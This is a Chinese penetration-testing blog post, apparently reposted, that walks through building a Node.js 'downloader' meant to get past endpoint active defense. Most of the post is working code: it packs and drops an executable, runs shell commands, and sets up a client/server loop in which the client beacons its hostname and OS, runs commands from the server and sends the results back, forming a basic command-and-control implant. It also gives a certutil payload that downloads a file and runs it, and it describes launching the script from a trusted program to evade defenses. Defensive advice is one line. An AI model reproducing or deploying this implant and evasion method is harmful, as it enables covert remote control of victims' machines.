内容简介:Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。Node.js绕过主动防御的学习地址:
0x00 前言
Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。
我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。
Node.js绕过主动防御的学习地址:
https://bbs.pediy.com/thread-249573.htm
0x01 简介
本文将要介绍以下内容:
- 基本概念
- 利用Node.js实现的文件释放
- 利用Node.js实现的downloader
- 利用思路
- 防御建议
0x02 基本概念
Node.js同JavaScript的区别
JavaScript是一门语言
Node.js是一个基于Chrome V8引擎的JavaScript运行环境
虽然在Windows平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同
Node.js的使用
官方文档:
https://nodejs.org/api/
中文资料:
http://www.runoob.com/nodejs/nodejs-tutorial.html
下载地址:
https://nodejs.org/en/download/
在Windows平台下,Node.js代码保存在.js后缀名的文件中,通过node.exe加载执行
Node.js支持第三方包,可通过npm命令安装模块,实例如下:
安装web框架模块express:
npm install express
使用模块express:
var express = require('express');
注:
本文涉及的代码均不使用第三方包,只使用安装包中的node.exe
0x03 利用Node.js实现的文件释放
实现思路:
将exe文件做base64编码存储在文件中,释放时先读取文件进行解码,最后写入文件
1. 读取文件内容,做base64编码并输出到data.txt
function base64_encode(file) { var fs = require('fs'); var data = fs.readFileSync(file); return Buffer.from(data).toString('base64'); } var base64str = base64_encode('test.exe'); console.log(base64str);
注:
fs.readFileSync
表示同步读取,异步读取使用 fs.readFile
执行:
node.js base64encode.js >data.txt
2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe
function base64_decode(base64str, file) { var data = Buffer.from(base64str, 'base64'); fs.writeFileSync(file, data); } var fs = require('fs'); var base64str = fs.readFileSync('data.txt'); console.log(base64str.toString()); base64_decode(base64str.toString(), 'test2.exe');
注:
使用代码 var base64str = fs.readFileSync('data.txt');
在读取文件后,变量 base64str 需要强制转换成字符串类型,即 base64str.toString()
为了缩小文件长度,加入压缩算法gzip
1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz
function gunzip(sourcePath) { var zlib = require('zlib'); var fs = require('fs'); var unzip = zlib.createGunzip(); var rs = fs.createReadStream(sourcePath); var ws = fs.createWriteStream('test2.exe'); rs.pipe(unzip).pipe(ws); } gunzip('data.gz');
2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe
var zlib = require('zlib'); var fs = require('fs'); function gunzip(sourcePath) { var unzip = zlib.createGunzip(); var rs = fs.createReadStream(sourcePath); var ws = fs.createWriteStream('test2.exe'); rs.pipe(unzip).pipe(ws); } gunzip('data.gz');
0x04 利用Node.js实现的downloader
实现思路:
1. Server
- 监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据
- 对客户端的数据包进行筛选,对符合条件1的客户端返回控制命令,对符合条件2的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面
2. Client
- 连接指定服务器,发送固定格式的post数据,包括当前系统的主机名和操作系统版本
- 接收服务器返回的控制命令,执行后将结果再次发送到服务器
- 如果服务器未响应,等待一段时间后再次发送post请求
需要考虑如下问题:
1. 通过Node.js执行cmd命令
function runcmd(command) { var childprocess = require('child_process'); childprocess.exec(command, (err, stdout, stderr) => { if (err) { console.error(err); return; } console.log(stdout); }); } runcmd('whoami');
2. HTTP通信的实现
Server:
var http = require('http'); var querystring = require('querystring'); http.createServer(function (req, res) { var body = ''; console.log('req.url:',req.url); req.on('data', function (chunk) { body += chunk; console.log("chunk:",chunk); }); req.on('end', function () { body = querystring.parse(body); console.log('body:',body); res.write('Message from server'); res.end(); }); }).listen(3000,'0.0.0.0');
Client:
function sendHello(host1,port1){ var http = require('http'); var querystring = require('querystring'); var contents = querystring.stringify({ data1:'str1', data2:'str2' }); var options = { host: host1, port: port1, path: '/', method:'POST', headers:{ 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length':contents.length } } console.log('post options:\n',options); console.log('content:',contents); var req = http.request(options, function(res){ console.log('headers:', res.headers); var data1=''; res.on('data', function(chunk){ data1 += chunk; }); res.on('end', function(){ console.log('result:',data1) }); }); req.write(contents); req.end; }; sendHello('127.0.0.1','3000');
Client向Server发送post数据,内容为 data1=str1&data2=str2
Server收到请求后,向Client回复的内容为 Message from server
3. sleep的实现
Node.js默认不支持sleep操作,这里可以自己实现:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } var timeinterval = +'5000'; sleep(timeinterval);
字符串类型转换为数字,可在前面加 +
4. Client定时循环发送post请求
这里需要考虑异步和同步的问题
Node.js是异步编程,但Client定时循环发送post请求需要使用同步实现,测试代码如下:
Server:
代码同上
Client:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } function sendHello(host1,port1){ var http = require('http'); var querystring = require('querystring'); var contents = querystring.stringify({ data1:'str1', data2:'str2' }); var options = { host: host1, port: port1, path: '/', method:'POST', headers:{ 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length':contents.length } } console.log('post options:\n',options); console.log('content:',contents); var req = http.request(options, function(res){ console.log('headers:', res.headers); var data1=''; res.on('data', function(chunk){ data1 += chunk; }); res.on('end', function(){ console.log('result:',data1) }); }); req.write(contents); req.end; }; while (true) { console.log('1'); sleep(5000); sendHello('127.0.0.1','3000'); }
期待的结果:
Clinet每隔5秒发送一个post请求,接收结果
实际的结果:
每隔5秒执行一次循环,但Clinet没有发出请求
由于我们最初的设想是不使用npm,所以也无法使用async模块实现同步
最终,我通过方法嵌套解决了同步问题,示例如下:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } function A(){ console.log('A'); B(); } function B(){ console.log('B'); sleep(5000); A(); } A();
5. Server显示Client的IP
代码如下:
function getClientIp(req) { return req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress; };
默认为格式为ipv6,例如:
::ffff:127.0.0.1
可以通过修改listen的参数指定为ipv4
修改前:
.listen(3000);
修改后:
.listen(3000,'0.0.0.0');
6. Server判断post请求,不符合要求的回复404
对body的内容进行判断即可
完整实现代码已开源,地址:
https://github.com/3gstudent/NodeJS-Downloader
注:
开源的代码仅仅是一个示例,用作演示NodeJS的功能
用法如下:
需要先获得node.exe,下载地址: https://nodejs.org/en/download/
1. 编辑文件Server.js
可编译以下内容:
var command .listen(80,'0.0.0.0');
2. 启动Server
node.exe Server.js
监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据
对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面
3. 编辑文件Client.js
可编译以下内容:
var serverip var serverport var timeinterval
4. 启动Client
node.exe Client.js
Client将会连接Server,发送固定格式的post数据,包括当前系统的主机名和操作系统版本
接下来接收Server返回的控制命令,执行后将结果再次发送到Server
如果Server未响应,等待一段时间后再次发送post请求
0x05 利用思路
1、开源的代码支持多种payload
可将payload设置为下载文件并执行,例如
var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';
更多下载执行的命令可参考之前的文章 《渗透技巧——从github下载文件的多种方法》
注:
发送Client退出的命令可使用:
var command = 'taskkill /f /im node.exe';
2、可被第三方可信程序加载
参考:
https://bbs.pediy.com/thread-249573.htm
t.exe
-> node.exe
-> main.js
演示如图:
0x06 防御建议
对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截
0x07 小结
本文介绍了在开发Node.js代码时需要注意的细节,开源了一段Downloader的测试代码,用来演示Node.js的功能。
简要分析在渗透测试中的利用思路,给出防御建议。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 内网渗透:使用ew实现socks代理
- 域渗透——利用GPO中的计划任务实现远程执行
- 域渗透——利用GPO中的计划任务实现远程执行
- 渗透测试中的Node.js——Downloader的实现
- 域渗透——利用GPO中的计划任务实现远程执行(命令行实现原理与脚本细节)
- 成为物理黑客吧!利用树莓派实现P4wnP1项目进行渗透测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
产品心经:产品经理应该知道的60件事(第2版)
闫荣 / 机械工业出版社 / 2016-4 / 69.00
本书第一版出版后广获好评,应广大读者要求,作者把自己在实践中新近总结的10个关于产品的最佳实践融入到了这本新书中。这"10件事"侧重于深挖产品需求和产品疯传背后的秘密,配合之前的"50件事",不仅能帮产品经理打造出让用户尖叫并疯传的产品,还能帮助产品经理迅速全方位提升自己的能力。 本书作者有超过10年的产品工作经验,在互联网产品领域公认的大咖,这本书从产品经理核心素养、产品认知、战略与规划、......一起来看看 《产品心经:产品经理应该知道的60件事(第2版)》 这本书的介绍吧!
图片转BASE64编码
在线图片转Base64编码工具
Markdown 在线编辑器
Markdown 在线编辑器